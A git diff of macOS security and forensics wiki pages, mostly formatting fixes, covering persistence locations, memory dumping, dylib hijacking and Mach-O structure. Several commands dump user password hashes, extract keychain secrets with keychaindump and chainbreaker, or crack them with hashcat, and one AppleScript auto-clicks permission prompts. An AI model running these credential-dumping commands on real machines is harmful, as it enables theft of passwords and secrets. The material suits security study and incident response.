file /Users/\/Library/Application Support/com.apple.backgroundtaskmanagementagent ### At -“At tasks” are used to **schedule tasks at specific times**. +“At tasks” are used to **schedule tasks at specific times**.\ These tasks differ from cron in that **they are one time tasks** t**hat get removed after executing**. However, they will **survive a system restart** so they can’t be ruled out as a potential threat. By **default** they are **disabled** but the **root** user can **enable** **them** with: @@ -594,7 +613,7 @@ ls -l /private/var/db/emondClients A **StartupItem** is a **directory** that gets **placed** in one of these two folders. `/Library/StartupItems/` or `/System/Library/StartupItems/` -After placing a new directory in one of these two locations, **two more items** need to be placed inside that directory. These two items are a **rc script** **and a plist** that holds a few settings. This plist must be called “**StartupParameters.plist**”. +After placing a new directory in one of these two locations, **two more items **need to be placed inside that directory. These two items are a **rc script** **and a plist** that holds a few settings. This plist must be called “**StartupParameters.plist**”. {% code title="StartupParameters.plist" %} ```markup @@ -642,7 +661,7 @@ RunService "$1" **This isn't working in modern MacOS versions** {% endhint %} -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: +It's also possible to place here **commands that will be executed at startup. **Example os regular rc.common script: ```bash ## @@ -757,11 +776,11 @@ ls -Rl /Library/Managed\ Preferences/ ### Swap Files * **`/private/var/vm/swapfile0`**: This file is used as a **cache when physical memory fills up**. Data in physical memory will be pushed to the swapfile and then swapped back into physical memory if it’s needed again. More than one file can exist in here. For example, you might see swapfile0, swapfile1, and so on. -* **`/private/var/vm/sleepimage`**: When OS X goes into **hibernation**, **data stored in memory is put into the sleepimage file**. When the user comes back and wakes the computer, memory is restored from the sleepimage and the user can pick up where they left off. +* **`/private/var/vm/sleepimage`**: When OS X goes into **hibernation**, **data stored in memory is put into the sleepimage file**. When the user comes back and wakes the computer, memory is restored from the sleepimage and the user can pick up where they left off. - By default in modern MacOS systems this file will be encrypted, so it might be not recuperable. + By default in modern MacOS systems this file will be encrypted, so it might be not recuperable. - * However, the encryption of this file might be disabled. Check the out of `sysctl vm.swapusage`. + * However, the encryption of this file might be disabled. Check the out of `sysctl vm.swapusage`. ### Dumping memory with osxpmem @@ -784,7 +803,7 @@ sudo kextutil "/tmp/MacPmem.kext" sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -**Other errors** might be fixed by **allowing the load of the kext** in "Security & Privacy --> General", just **allow** it. +**Other errors** might be fixed by **allowing the load of the kext** in "Security & Privacy --> General", just **allow** it. You can also use this **oneliner** to download the application, load the kext and dump the memory: @@ -797,14 +816,14 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem- ### Shadow Passwords -Shadow password is stored withe the users configuration in plists located in **`/var/db/dslocal/nodes/Default/users/`**. -The following oneliner can be use to dump **all the information about the users** \(including hash info\): +Shadow password is stored withe the users configuration in plists located in **`/var/db/dslocal/nodes/Default/users/`**.\ +The following oneliner can be use to dump **all the information about the users** (including hash info): ```bash for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done ``` -\*\*\*\*[**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) or [**this one**](https://github.com/octomagon/davegrohl.git) can be used to transform the hash to **hashcat** **format**. +****[**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) or [**this one**](https://github.com/octomagon/davegrohl.git) can be used to transform the hash to **hashcat** **format**. ### Keychain Dump @@ -823,7 +842,7 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be The attacker still needs to gain access to the system as well as escalate to **root** privileges in order to run **keychaindump**. This approach comes with its own conditions. As mentioned earlier, **upon login your keychain is unlocked by default** and remains unlocked while you use your system. This is for convenience so that the user doesn’t need to enter their password every time an application wishes to access the keychain. If the user has changed this setting and chosen to lock the keychain after every use, keychaindump will no longer work; it relies on an unlocked keychain to function. -It’s important to understand how Keychaindump extracts passwords out of memory. The most important process in this transaction is the ”**securityd**“ **process**. Apple refers to this process as a **security context daemon for authorization and cryptographic operations**. The Apple developer libraries don’t say a whole lot about it; however, they do tell us that securityd handles access to the keychain. In his research, Juuso refers to the **key needed to decrypt the keychain as ”The Master Key“**. A number of steps need to be taken to acquire this key as it is derived from the user’s OS X login password. If you want to read the keychain file you must have this master key. The following steps can be done to acquire it. **Perform a scan of securityd’s heap \(keychaindump does this with the vmmap command\)**. Possible master keys are stored in an area flagged as MALLOC\_TINY. You can see the locations of these heaps yourself with the following command: +It’s important to understand how Keychaindump extracts passwords out of memory. The most important process in this transaction is the ”**securityd**“ **process**. Apple refers to this process as a **security context daemon for authorization and cryptographic operations**. The Apple developer libraries don’t say a whole lot about it; however, they do tell us that securityd handles access to the keychain. In his research, Juuso refers to the **key needed to decrypt the keychain as ”The Master Key“**. A number of steps need to be taken to acquire this key as it is derived from the user’s OS X login password. If you want to read the keychain file you must have this master key. The following steps can be done to acquire it. **Perform a scan of securityd’s heap (keychaindump does this with the vmmap command)**. Possible master keys are stored in an area flagged as MALLOC_TINY. You can see the locations of these heaps yourself with the following command: ```bash sudo vmmap | grep MALLOC_TINY @@ -836,12 +855,12 @@ sudo ./keychaindump ``` {% hint style="danger" %} -Base on this comment [https://github.com/juuso/keychaindump/issues/10\#issuecomment-751218760](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) it looks like this tools isn't working anymore in Big Sur. +Base on this comment [https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) it looks like this tools isn't working anymore in Big Sur. {% endhint %} ### chainbreaker -\*\*\*\*[**Chainbreaker**](https://github.com/n0fate/chainbreaker) can be used to extract the following types of information from an OSX keychain in a forensically sound manner: +****[**Chainbreaker**](https://github.com/n0fate/chainbreaker) can be used to extract the following types of information from an OSX keychain in a forensically sound manner: * Hashed Keychain password, suitable for cracking with [hashcat](https://hashcat.net/hashcat/) or [John the Ripper](https://www.openwall.com/john/) * Internet Passwords @@ -863,7 +882,7 @@ Without one of these methods of unlocking the Keychain, Chainbreaker will displa python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain ``` -#### Dump keychain keys \(with passwords\) with SystemKey +#### Dump keychain keys (with passwords) with SystemKey ```bash # First, get the keychain decryption key @@ -873,7 +892,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -#### Dump keychain keys \(with passwords\) cracking the hash +#### Dump keychain keys (with passwords) cracking the hash ```bash # Get the keychain hash @@ -884,7 +903,7 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -#### Dump keychain keys \(with passwords\) with memory dump +#### Dump keychain keys (with passwords) with memory dump [Follow these steps](./#dumping-memory-with-osxpmem) to perform a **memory dump** @@ -897,7 +916,7 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -#### Dump keychain keys \(with passwords\) using users password +#### Dump keychain keys (with passwords) using users password If you know the users password you can use it to **dump and decrypt keychains that belong to the user**. @@ -908,43 +927,43 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library ### kcpassword -The **kcpassword** file is a file that holds the **user’s login password**, but only if the system owner has **enabled automatic login**. Therefore, the user will be automatically logged in without being asked for a password \(which isn't very secure\). +The **kcpassword** file is a file that holds the **user’s login password**, but only if the system owner has **enabled automatic login**. Therefore, the user will be automatically logged in without being asked for a password (which isn't very secure). -The password is stored in the file **`/etc/kcpassword`** xored with the key **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. If the users password is longer than the key, the key will be reused. +The password is stored in the file **`/etc/kcpassword`** xored with the key **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. If the users password is longer than the key, the key will be reused.\ This makes the password pretty easy to recover, for example using scripts like [**this one**](https://gist.github.com/opshope/32f65875d45215c3677d). ## **Library injection** ### Dylib Hijacking -As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code**. +As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code**.\ However, the way **MacOS** applications **load** libraries is **more restricted** than in Windows. This implies that **malware** developers can still use this technique for **stealth**, but the probably to be able to **abuse this to escalate privileges is much lower**. -First of all, is **more common** to find that **MacOS binaries indicates the full path** to the libraries to load. And second, **MacOS never search** in the folders of the **$PATH** for libraries. +First of all, is **more common **to find that **MacOS binaries indicates the full path** to the libraries to load. And second, **MacOS never search** in the folders of the **$PATH **for libraries. However, there are 2 types of dylib hijacking: -* **Missing weak linked libraries**: This means that the application will try to load a library that doesn't exist configured with **LC\_LOAD\_WEAK\_DYLIB**. Then, **if an attacker places a dylib where it's expected it will be loaded**. +* **Missing weak linked libraries**: This means that the application will try to load a library that doesn't exist configured with **LC_LOAD_WEAK_DYLIB**. Then, **if an attacker places a dylib where it's expected it will be loaded**. * The fact that the link is "weak" means that the application will continue running even if the library isn't found. -* **Configured with @rpath**: The path to the library configured contains "**@rpath**" and it's configured with **multiple** **LC\_RPATH** containing **paths**. Therefore, **when loading** the dylib, the loader is going to **search** \(in order\) **through all the paths** specified in the **LC\_RPATH** **configurations**. If anyone is missing and **an attacker can place a dylib there** and it will be loaded. +* **Configured with @rpath**: The path to the library configured contains "**@rpath**" and it's configured with **multiple** **LC_RPATH** containing **paths**. Therefore, **when loading **the dylib, the loader is going to **search** (in order)** through all the paths** specified in the **LC_RPATH** **configurations**. If anyone is missing and **an attacker can place a dylib there** and it will be loaded. The way to **escalate privileges** abusing this functionality would be in the rare case that an **application** being executed **by** **root** is **looking** for some **library in some folder where the attacker has write permissions.** -**A nice scanner to find missing libraries in applications is** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) **or a** [**CLI version**](https://github.com/pandazheng/DylibHijack)**. -A nice report with technical details about this technique can be found** [**here**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)**.** +**A nice scanner to find missing libraries in applications is **[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)** or a **[**CLI version**](https://github.com/pandazheng/DylibHijack)**.**\ +**A nice report with technical details about this technique can be found **[**here**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)**.** -### **DYLD\_INSERT\_LIBRARIES** +### **DYLD_INSERT_LIBRARIES** -> This is a colon separated **list of dynamic libraries** to l**oad before the ones specified in the program**. This lets you test new modules of existing dynamic shared libraries that are used in flat-namespace images by loading a temporary dynamic shared library with just the new modules. Note that this has no effect on images built a two-level namespace images using a dynamic shared library unless DYLD\_FORCE\_FLAT\_NAMESPACE is also used. +> This is a colon separated **list of dynamic libraries** to l**oad before the ones specified in the program**. This lets you test new modules of existing dynamic shared libraries that are used in flat-namespace images by loading a temporary dynamic shared library with just the new modules. Note that this has no effect on images built a two-level namespace images using a dynamic shared library unless DYLD_FORCE_FLAT_NAMESPACE is also used. -This is like the [**LD\_PRELOAD on Linux**](../../linux-unix/privilege-escalation/#ld_preload). +This is like the [**LD_PRELOAD on Linux**](../../linux-unix/privilege-escalation/#ld_preload). -This technique may be also **used as an ASEP technique** as every application installed has a plist called "Info.plist" that allows for the **assigning of environmental variables** using a key called `LSEnvironmental`. +This technique may be also** used as an ASEP technique** as every application installed has a plist called "Info.plist" that allows for the **assigning of environmental variables** using a key called `LSEnvironmental`. {% hint style="info" %} -Since 2012 when [OSX.FlashBack.B](https://www.f-secure.com/v-descs/trojan-downloader_osx_flashback_b.shtml) \[22\] abused this technique, **Apple has drastically reduced the “power”** of the DYLD\_INSERT\_LIBRARIES. +Since 2012 when [OSX.FlashBack.B](https://www.f-secure.com/v-descs/trojan-downloader_osx_flashback_b.shtml) \[22] abused this technique, **Apple has drastically reduced the “power” **of the DYLD_INSERT_LIBRARIES. -For example the dynamic loader \(dyld\) ignores the DYLD\_INSERT\_LIBRARIES environment variable in a wide range of cases, such as setuid and platform binaries. And, starting with macOS Catalina, only 3rd-party applications that are not compiled with the hardened runtime \(which “protects the runtime integrity of software” \[22\]\), or have an exception such as the com.apple.security.cs.allow-dyld-environment-variables entitlement\) are susceptible to dylib insertions. +For example the dynamic loader (dyld) ignores the DYLD_INSERT_LIBRARIES environment variable in a wide range of cases, such as setuid and platform binaries. And, starting with macOS Catalina, only 3rd-party applications that are not compiled with the hardened runtime (which “protects the runtime integrity of software” \[22]), or have an exception such as the com.apple.security.cs.allow-dyld-environment-variables entitlement) are susceptible to dylib insertions. For more details on the security features afforded by the hardened runtime, see Apple’s documentation: “[Hardened Runtime](https://developer.apple.com/documentation/security/hardened_runtime)” {% endhint %} @@ -965,7 +984,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets' You can find the Notifications data in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` -Most of the interesting information is going to be in **blob**. So you will need to **extract** that content and **transform** it to **human** **readable** or use **`strings`**. To access it you can do: +Most of the interesting information is going to be in **blob**. So you will need to **extract** that content and **transform** it to **human** **readable **or use **`strings`**. To access it you can do: ```bash cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/ @@ -1036,8 +1055,8 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string ## Apple Scripts -It's a scripting language used for task automation **interacting with remote processes**. It makes pretty easy to **ask other processes to perform some actions**. **Malware** may abuse these features to abuse functions exported by other processes. -For example, a malware could **inject arbitrary JS code in browser opened pages**. Or **auto click** some allow permissions requested to the user; +It's a scripting language used for task automation** interacting with remote processes**. It makes pretty easy to **ask other processes to perform some actions**. **Malware** may abuse these features to abuse functions exported by other processes.\ +For example, a malware could **inject arbitrary JS code in browser opened pages**. Or **auto click **some allow permissions requested to the user; ```bash tell window 1 of process “SecurityAgent” @@ -1045,14 +1064,14 @@ tell window 1 of process “SecurityAgent” end tell ``` -Here you have some examples: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts) +Here you have some examples: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ Find more info about malware using applescripts [**here**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). Apple scripts may be easily "**compiled**". These versions can be easily "**decompiled**" with `osadecompile` -However, this scripts can also be **exported as "Read only"** \(via the "Export..." option\): +However, this scripts can also be** exported as "Read only" **(via the "Export..." option): -![](../../.gitbook/assets/image%20%28535%29.png) +![](<../../.gitbook/assets/image (556).png>) ```bash file mal.scpt @@ -1061,18 +1080,20 @@ mal.scpt: AppleScript compiled and tin this case the content cannot be decompiled even with `osadecompile` -However, there are still some tools that can be used to understand this kind of executables, [**read this research for more info**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)\). The tool [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) with [**aevt\_decompile**](https://github.com/SentineLabs/aevt_decompile) will be very useful to understand how the script works. +However, there are still some tools that can be used to understand this kind of executables, [**read this research for more info**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). The tool [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) with [**aevt_decompile**](https://github.com/SentineLabs/aevt_decompile) will be very useful to understand how the script works. ## MacOS Red Teaming Red Teaming in **environments where MacOS** is used instead of Windows can be very **different**. In this guide you will find some interesting tricks for this kind of assessments: -{% page-ref page="macos-red-teaming.md" %} +{% content-ref url="macos-red-teaming.md" %} +[macos-red-teaming.md](macos-red-teaming.md) +{% endcontent-ref %} ## MacOS Automatic Enumeration Tools * **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) -* **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) +* **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) * **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) ## Specific MacOS Commands @@ -1187,8 +1208,7 @@ sudo killall -HUP mDNSResponder ## References -* \*\*\*\*[**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)\*\*\*\* -* \*\*\*\*[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)\*\*\*\* -* \*\*\*\*[**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)\*\*\*\* -* \*\*\*\*[**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)\*\*\*\* - +* ****[**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)**** +* ****[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)**** +* ****[**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)**** +* ****[**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)**** diff --git a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md index 00aa5ad8..ce5d143d 100644 --- a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md +++ b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md @@ -4,13 +4,13 @@ ### XNU -The heart of Mac OS X is the **XNU kernel**. XNU is basically composed of a **Mach core** \(covered in the next section\) with supplementary features provided by Berkeley Software Distribution \(**BSD**\). Additionally, **XNU** is responsible for providing an **environment for kernel drivers called the I/O Kit**. **XNU is a Darwin package**, so all of the source **code** is **freely available**. +The heart of Mac OS X is the **XNU kernel**. XNU is basically composed of a **Mach core** (covered in the next section) with supplementary features provided by Berkeley Software Distribution (**BSD**). Additionally, **XNU** is responsible for providing an **environment for kernel drivers called the I/O Kit**. **XNU is a Darwin package**, so all of the source **code** is **freely available**. From a security researcher’s perspective, **Mac OS X feels just like a FreeBSD box with a pretty windowing system** and a large number of custom applications. For the most part, applications written for BSD will compile and run without modification on Mac OS X. All the tools you are accustomed to using in BSD are available in Mac OS X. Nevertheless, the fact that the **XNU kernel contains all the Mach code** means that some day, when you have to dig deeper, you’ll find many differences that may cause you problems and some you may be able to leverage for your own purposes. ### Mach -Mach was originated as a UNIX-compatible **operating system** back in 1984. One of its primary design **goals** was to be a **microkernel**; that is, to **minimize** the amount of code running in the **kernel** and allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level** Mach tasks. +Mach was originated as a UNIX-compatible** operating system **back in 1984. One of its primary design **goals** was to be a **microkernel**; that is, to **minimize** the amount of code running in the **kernel** and allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level** Mach tasks. **In XNU, Mach is responsible for many of the low-level operations** you expect from a kernel, such as processor scheduling and multitasking and virtual- memory management. @@ -25,11 +25,11 @@ The **kernel** also involves a large chunk of **code derived from the FreeBSD** * TCP/IP stack and sockets * Firewall and packet filtering -To get an idea of just how complicated the interaction between these two sets of code can be, consider the idea of the fundamental executing unit. **In BSD the fundamental unit is the process. In Mach it is a Mach thread**. The disparity is settled by each BSD-style process being associated with a Mach task consisting of exactly one Mach thread. When the BSD fork\(\) system call is made, the BSD code in the kernel uses Mach calls to create a task and thread structure. Also, it is important to note that both the Mach and BSD layers have different security models. The **Mach security** model is **based** **on** **port** **rights**, and the **BSD** model is based on **process** **ownership**. Disparities between these two models have resulted in a **number of local privilege-escalation vulnerabilities**. Additionally, besides typical system cells, there are Mach traps that allow user-space programs to communicate with the kernel. +To get an idea of just how complicated the interaction between these two sets of code can be, consider the idea of the fundamental executing unit. **In BSD the fundamental unit is the process. In Mach it is a Mach thread**. The disparity is settled by each BSD-style process being associated with a Mach task consisting of exactly one Mach thread. When the BSD fork() system call is made, the BSD code in the kernel uses Mach calls to create a task and thread structure. Also, it is important to note that both the Mach and BSD layers have different security models. The **Mach security** model is **based** **on** **port** **rights**, and the **BSD** model is based on **process** **ownership**. Disparities between these two models have resulted in a **number of local privilege-escalation vulnerabilities**. Additionally, besides typical system cells, there are Mach traps that allow user-space programs to communicate with the kernel. ### I/O Kit - Drivers -I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: +I/O Kit is the open-source, object-oriented, **device-driver framework **in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: * `/System/Library/Extensions` * KEXT files built into the OS X operating system. @@ -74,11 +74,11 @@ kextunload com.apple.iokit.IOReportFamily A kernel without applications isn’t very useful. **Darwin** is the non-Aqua, **open-source core of Mac OS X**. Basically it is all the parts of Mac OS X for which the **source code is available**. The code is made available in the form of a **package that is easy to install**. There are hundreds of **available Darwin packages**, such as X11, GCC, and other GNU tools. Darwin provides many of the applications you may already use in BSD or Linux for Mac OS X. Apple has spent significant time **integrating these packages into their operating system** so that everything behaves nicely and has a consistent look and feel when possible. -On the **other** hand, many familiar pieces of Mac OS X are **not open source**. The main missing piece to someone running just the Darwin code will be **Aqua**, the **Mac OS X windowing and graphical-interface environment**. Additionally, most of the common **high-level applications**, such as Safari, Mail, QuickTime, iChat, etc., are not open source \(although some of their components are open source\). Interestingly, these closed-source applications often **rely on open- source software**, for example, Safari relies on the WebKit project for HTML and JavaScript rendering. **For perhaps this reason, you also typically have many more symbols in these applications when debugging than you would in a Windows environment.** +On the **other** hand, many familiar pieces of Mac OS X are **not open source**. The main missing piece to someone running just the Darwin code will be **Aqua**, the **Mac OS X windowing and graphical-interface environment**. Additionally, most of the common **high-level applications**, such as Safari, Mail, QuickTime, iChat, etc., are not open source (although some of their components are open source). Interestingly, these closed-source applications often **rely on open- source software**, for example, Safari relies on the WebKit project for HTML and JavaScript rendering. **For perhaps this reason, you also typically have many more symbols in these applications when debugging than you would in a Windows environment.** ### **Universal binaries** -Mac OS binaries usually are compiled as universal binaries. ****A **universal binary** can **support multiple architectures in the same file**. +Mac OS binaries usually are compiled as universal binaries.** **A **universal binary** can **support multiple architectures in the same file**. ```bash file /bin/ls @@ -97,7 +97,7 @@ As you may be thinking usually a universal binary compiled for 2 architectures * ### Mach-o Format -![](../../.gitbook/assets/image%20%28557%29.png) +![](<../../.gitbook/assets/image (559).png>) #### **Header** @@ -117,18 +117,18 @@ struct mach_header { Filetypes: -* MH\_EXECUTE \(0x2\): Standard Mach-O executable -* MH\_DYLIB \(0x6\): A Mach-O dynamic linked library \(i.e. .dylib\) -* MH\_BUNDLE \(0x8\): A Mach-O bundle \(i.e. .bundle\) +* MH_EXECUTE (0x2): Standard Mach-O executable +* MH_DYLIB (0x6): A Mach-O dynamic linked library (i.e. .dylib) +* MH_BUNDLE (0x8): A Mach-O bundle (i.e. .bundle) -#### \*\*\*\* +#### **** #### **Load commands** -This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required. -The commands basically instruct the dynamic loader **\(dyld\) how to load the binary in memory.** +This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required.\ +The commands basically instruct the dynamic loader **(dyld) how to load the binary in memory.** -Load commands all begin with a **load\_command** structure, defined in mach-o/loader.h: +Load commands all begin with a **load_command** structure, defined in mach-o/loader.h: ```objectivec struct load_command { @@ -137,44 +137,44 @@ struct load_command { }; ``` -A **common** type of load command is **LC\_SEGMENT/LC\_SEGMENT\_64**, which **describes** a **segment:** -_A segment defines a **range of bytes** in a Mach-O file and the **addresses** and **memory** **protection** **attributes** at which those bytes are **mapped into** virtual memory when the dynamic linker loads the application._ +A **common** type of load command is **LC_SEGMENT/LC_SEGMENT\_64**, which **describes** a **segment:** \ +_A segment defines a **range of bytes **in a Mach-O file and the **addresses** and **memory** **protection** **attributes** at which those bytes are **mapped into **virtual memory when the dynamic linker loads the application._ -![](../../.gitbook/assets/image%20%28554%29.png) +![](<../../.gitbook/assets/image (557).png>) Common segments: -* **`__TEXT`**: Contains **executable** **code** and **data** that is **read-only.** Common sections of this segment: - * `__text`: ****Compiled binary code +* **`__TEXT`**: Contains **executable** **code** and **data** that is **read-only. **Common sections of this segment: + * `__text`:** **Compiled binary code * `__const`: Constant data * `__cstring`: String constants * **`__DATA`**: Contains data that is **writable.** - * `__data`: Global variables \(that have been initialized\) - * `__bss`: Static variables \(that have not been initialized\) - * `__objc_*` \(\_\_objc\_classlist, \_\_objc\_protolist, etc\): Information used by the Objective-C runtime -* **`__LINKEDIT`**: Contains information for the linker \(dyld\) such as, "symbol, string, and relocation table entries." -* **`__OBJC`**: Contains information used by the Objective-C runtime. Though this information might also be found in the \_\_DATA segment, within various in \_\_objc\_\* sections. -* **`LC_MAIN`**: Contains the entrypoint in the **entryoff attribute.** At load time, **dyld** simply **adds** this value to the \(in-memory\) **base of the binary**, then **jumps** to this instruction to kickoff execution of the binary’s code. -* **`LC_LOAD_DYLIB`**: ****This load command describes a **dynamic** **library** dependency which **instructs** the **loader** \(dyld\) to l**oad and link said library**. There is a LC\_LOAD\_DYLIB load command **for each library** that the Mach-O binary requires. + * `__data`: Global variables (that have been initialized) + * `__bss`: Static variables (that have not been initialized) + * `__objc_*` (\__objc_classlist, \__objc_protolist, etc): Information used by the Objective-C runtime +* **`__LINKEDIT`**: Contains information for the linker (dyld) such as, "symbol, string, and relocation table entries." +* **`__OBJC`**: Contains information used by the Objective-C runtime. Though this information might also be found in the \__DATA segment, within various in \__objc_\* sections. +* **`LC_MAIN`**: Contains the entrypoint in the **entryoff attribute. **At load time, **dyld** simply **adds** this value to the (in-memory) **base of the binary**, then **jumps** to this instruction to kickoff execution of the binary’s code. +* **`LC_LOAD_DYLIB`**:** **This load command describes a **dynamic** **library** dependency which **instructs** the **loader** (dyld) to l**oad and link said library**. There is a LC_LOAD_DYLIB load command **for each library **that the Mach-O binary requires. - * This load command is a structure of type **`dylib_command`** \(which contains a struct dylib, describing the actual dependent dynamic library\): + * This load command is a structure of type **`dylib_command`** (which contains a struct dylib, describing the actual dependent dynamic library): - ```objectivec - struct dylib_command { - uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ - uint32_t cmdsize; /* includes pathname string */ - struct dylib dylib; /* the library identification */ - }; + ```objectivec + struct dylib_command { + uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ + uint32_t cmdsize; /* includes pathname string */ + struct dylib dylib; /* the library identification */ + }; - struct dylib { - union lc_str name; /* library's path name */ - uint32_t timestamp; /* library's build time stamp */ - uint32_t current_version; /* library's current version number */ - uint32_t compatibility_version; /* library's compatibility vers number*/ - }; - ``` + struct dylib { + union lc_str name; /* library's path name */ + uint32_t timestamp; /* library's build time stamp */ + uint32_t current_version; /* library's current version number */ + uint32_t compatibility_version; /* library's compatibility vers number*/ + }; + ``` -![](../../.gitbook/assets/image%20%28558%29.png) +![](<../../.gitbook/assets/image (558).png>) Some potential malware related libraries are: @@ -183,17 +183,17 @@ Some potential malware related libraries are: * **CoreWLAN**: Wifi scans. {% hint style="info" %} -A Mach-O binary can contain one or **more** **constructors**, that will be **executed** **before** the address specified in **LC\_MAIN**. -The offsets of any constructors are held in the **\_\_mod\_init\_func** section of the **\_\_DATA\_CONST** segment. +A Mach-O binary can contain one or **more** **constructors**, that will be **executed** **before** the address specified in **LC_MAIN**. \ +The offsets of any constructors are held in the **\__mod_init_func** section of the **\__DATA_CONST** segment. {% endhint %} -#### \*\*\*\* +#### **** #### **Data** The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type. -![](../../.gitbook/assets/image%20%28507%29.png) +![](<../../.gitbook/assets/image (555).png>) #### Get the info @@ -214,38 +214,36 @@ Basically, a bundle is a **directory structure** within the file system. Interes ls -lR /Applications/Safari.app/Contents ``` -* `Contents/_CodeSignature` +* `Contents/_CodeSignature` - Contains **code-signing information** about the application \(i.e., hashes, etc.\). + Contains **code-signing information** about the application (i.e., hashes, etc.). +* `Contents/MacOS` -* `Contents/MacOS` + Contains the **application’s binary** (which is executed when the user double-clicks the application icon in the UI). +* `Contents/Resources` - Contains the **application’s binary** \(which is executed when the user double-clicks the application icon in the UI\). - -* `Contents/Resources` - - Contains **UI elements of the application**, such as images, documents, and nib/xib files \(that describe various user interfaces\). - -* `Contents/Info.plist` ****The application’s main “**configuration file.**” Apple notes that “the system relies on the presence of this file to identify relevant information about \[the\] application and any related files”. + Contains **UI elements of the application**, such as images, documents, and nib/xib files (that describe various user interfaces). +* `Contents/Info.plist`\ + ****The application’s main “**configuration file.**” Apple notes that “the system relies on the presence of this file to identify relevant information about \[the] application and any related files”. * **Plist** **files** contains configuration information. You can find find information about the meaning of they plist keys in [https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) - * Pairs that may be of interest when analyzing 